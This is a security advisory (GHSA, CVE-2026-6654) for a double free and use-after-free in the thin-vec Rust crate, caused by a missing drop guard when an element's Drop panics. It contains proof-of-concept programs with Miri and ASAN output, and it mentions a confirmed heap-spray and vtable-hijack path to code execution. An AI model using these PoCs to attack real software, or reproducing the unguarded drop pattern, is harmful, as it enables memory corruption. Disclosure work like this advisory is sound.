thin-vec: Use-After-Free and Double Free in IntoIter::drop When Element Drop Panics

High **emilio** published **GHSA-xphw-cqx3-667j** last week

Package

thin-vec (Rust)

Affected versions

0.2.15

Patched versions

0.2.16

Description

Summary

A **Double Free / Use-After-Free (UAF)** vulnerability has been identified in the `IntoIter::drop` and `ThinVec::clear` implementations of the `thin_vec` crate.
Both vulnerabilities share the same root cause and can trigger memory corruption using only safe Rust code — no `unsafe` blocks required.
Undefined Behavior has been confirmed via **Miri** and **AddressSanitizer (ASAN)**.

Details

Both vulnerabilities share the same root cause. When a **panic occurs** during sequential element deallocation, the subsequent length cleanup code (`set_len(0)`) is never executed. During stack unwinding, the container is dropped again, causing already-freed memory to be re-freed (Double Free / UAF).

Vulnerability 1 — `IntoIter::drop`

Location: `thin-vec/src/lib.rs` L.2308~2314

`IntoIter::drop` transfers ownership of the internal buffer via `mem::replace`, then sequentially frees elements via `ptr::drop_in_place`.
If a panic occurs during element deallocation, `set_len_non_singleton(0)` is never reached. During unwinding, `vec` is dropped again, re-freeing already-freed elements.
The standard library's `std::vec::IntoIter` prevents this with a **DropGuard pattern**, but thin-vec lacks this defense.

```
// Problematic structure (conceptual representation)
impl<T> Drop for IntoIter<T> {
    fn drop(&mut self) {
        let mut vec = mem::replace(&mut self.vec, ThinVec::new());
        unsafe {
            ptr::drop_in_place(vec.remaining_slice_mut()); // ← panic may occur here
            vec.set_len_non_singleton(0);                  // ← unreachable on panic
        }
        // During unwinding, vec is dropped again → Double Free
    }
}
```

Vulnerability 2 — `ThinVec::clear`

`clear()` calls `ptr::drop_in_place(&mut self[..])` followed by `self.set_len(0)` to reset the length.
If a panic occurs during element deallocation, `set_len(0)` is never executed. When the `ThinVec` itself is subsequently dropped, already-freed elements are freed again.

```
// Problematic structure (conceptual representation)
pub fn clear(&mut self) {
    unsafe {
        ptr::drop_in_place(&mut self[..]); // ← panic may occur here
        self.set_len(0);                   // ← unreachable on panic
    }
    // ThinVec drop later → Double Free
}
```

Recommended Fix

Both vulnerabilities can be resolved with the same pattern:

- **DropGuard pattern:** Insert an RAII guard before `drop_in_place` to guarantee `set_len(0)` is called regardless of panic
- **Pre-zeroing approach:** Set the length to 0 before calling `drop_in_place`

PoC

Requirements: Rust nightly toolchain, `thin-vec = "0.2.14"`

```
# Miri
cargo +nightly miri run

# ASAN
RUSTFLAGS="-Z sanitizer=address" cargo +nightly run --release
```

PoC-1: `IntoIter::drop`

```
use thin_vec::ThinVec;

struct PanicBomb(String);

impl Drop for PanicBomb {
    fn drop(&mut self) {
        if self.0 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
    v.push(PanicBomb(String::from("normal1")));
    v.push(PanicBomb(String::from("panic")));  // trigger element
    v.push(PanicBomb(String::from("normal2")));

    let mut iter = v.into_iter();
    iter.next();
    // When iter is dropped: panic occurs at "panic" element
    // → During unwinding, Double Drop is triggered on "normal1" (already freed)
}
```

Miri output:

```
error: Undefined Behavior: pointer not dereferenceable:
       alloc227 has been freed, so this pointer is dangling

stack backtrace:
   3: <PanicBomb as Drop>::drop           ← Double Drop entry
   6: <ThinVec<T> as Drop>::drop::drop_non_singleton
   9: <IntoIter<T> as Drop>::drop::drop_non_singleton  ← lib.rs:2310 (root cause)
```

ASAN output:

```
==66150==ERROR: AddressSanitizer: heap-use-after-free on address 0x7afa685e0010
READ of size 7 at 0x7afa685e0010
    #0 memcpy
    #4 drop_in_place::<PanicBomb>        ← Double Drop entry point
```

```
    #5 <ThinVec as Drop>::drop::drop_non_singleton
    #6 <IntoIter as Drop>::drop::drop_non_singleton
```

PoC-2: `ThinVec::clear`

```rust
use thin_vec::ThinVec;
use std::panic;

struct Poison(Box<usize>, &'static str);

impl Drop for Poison {
    fn drop(&mut self) {
        if self.1 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
    v.push(Poison(Box::new(1), "normal1")); // index 0
    v.push(Poison(Box::new(2), "panic"));   // index 1 → panic triggered here
    v.push(Poison(Box::new(3), "normal2")); // index 2

    let _ = panic::catch_unwind(panic::AssertUnwindSafe(|| {
        v.clear();
        // panic occurs at "panic" element during clear()
        // → set_len(0) is never called
        // → already-freed elements are re-freed when v goes out of scope
    }));
}
```

Impact

Vulnerability classification:

- CWE-415: Double Free
- CWE-416: Use-After-Free

Affected code: All code satisfying the following conditions simultaneously:

1. `ThinVec` stores heap-owning types (`String`, `Vec`, `Box`, etc.)
2. (Vulnerability 1) An iterator is created via `into_iter()` and dropped before being fully consumed, or
   (Vulnerability 2) `clear()` is called while a remaining element's `Drop` implementation can panic
3. The `Drop` implementation of a remaining element triggers a panic

Additionally, when combined with `Box<dyn Trait>` types, an exploit primitive enabling Arbitrary Code Execution (ACE) via heap spray and vtable hijacking has been confirmed. If the freed fat pointer slot (16 bytes) at the point of Double Drop is reclaimed by an attacker-controlled fake vtable, subsequent Drop calls can be redirected to attacker-controlled code.

Severity

High 7.3 / 10

CVSS v3 base metrics

Attack vector	Local
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	Low
Integrity	Low
Availability	High

Learn more about base metrics

CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H

CVE ID

CVE-2026-6654

Weaknesses

- CWE-415
- CWE-416

Credits

cloudchatsonny-stack Reporter